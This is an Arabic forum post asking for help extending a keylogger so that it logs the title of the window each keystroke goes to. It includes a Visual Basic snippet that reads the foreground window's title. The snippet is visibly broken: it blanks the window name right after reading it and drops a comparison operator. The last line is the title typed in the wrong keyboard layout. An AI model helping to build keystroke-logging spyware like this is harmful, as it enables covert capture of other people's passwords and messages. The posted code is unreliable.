سؤال أخر فى الكى لوجر....؟ارجو دخول الخبراء

[‏windows 8]

سؤال , أخر , فى , الكى , لوجر....؟ارجو , دخول , الخبراء

سؤال أخر فى الكى لوجر....؟ارجو دخول الخبراء

بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاتة
كنت بسال عن سؤال أخر فى الكى لوجر دلوقتى اوكية انا معايا كود الكى لوجر اى كلمة بتكتب بتتسجل
فى ملف تكست انا بئى عايز معرفة إسم النافذة التى يكتب فيها الحرف
وإن كانت نفس اسم النافذة للحرف السابق يضيف عليها
وإن كانت مخالفة يضيف فى سطر جديد تحت اسم نافذة جديدة

ودة كود لاقيتة يوضح المثال بس متعملشى معايا
كود:
Public Sub GetWindowName()
Dim MyStr As String * 100
Dim hwnd As Long
Static NewWinName As String
Static OldWinName As String

'تجهيز اسم النافذة
hwnd = GetForegroundWindow
GetWindowText hwnd, MyStr, 100
NewWinName = Replace(MyStr, Chr(0), "")
If Len(NewWinName) > 25 Then
NewWinName = Mid(NewWinName, 1, 22)
NewWinName = NewWinName & "..."
End If
If NewWinName = "" Then Exit Sub
NewWinName = ""

'وضع اسم النافذة في صندوق النص
If Text1.Text = "" Then OldWinName = ""
If NewWinName OldWinName Then
If Text1.Text = "" Then
Text1.Text = NewWinName & vbCrLf
Else
If VWrite = True Then
Text1.Text = Text1.Text & vbCrLf & vbCrLf & NewWinName & vbCrLf
Else
Text1.Text = Left(Text1.Text, Len(Text1.Text) - Len(OldWinName) - 2)
Text1.Text = Text1.Text & NewWinName & vbCrLf
End If
End If
VWrite = False
OldWinName = NewWinName
End If
End Sub
ياريت ياجماعة الاقى رد ولو واحد فقط

المصدر: development-point - للمزيد تابع : الأرشيف

---

schg Hov tn hg;n g,[v>>>>?hv[, ]o,g hgofvhx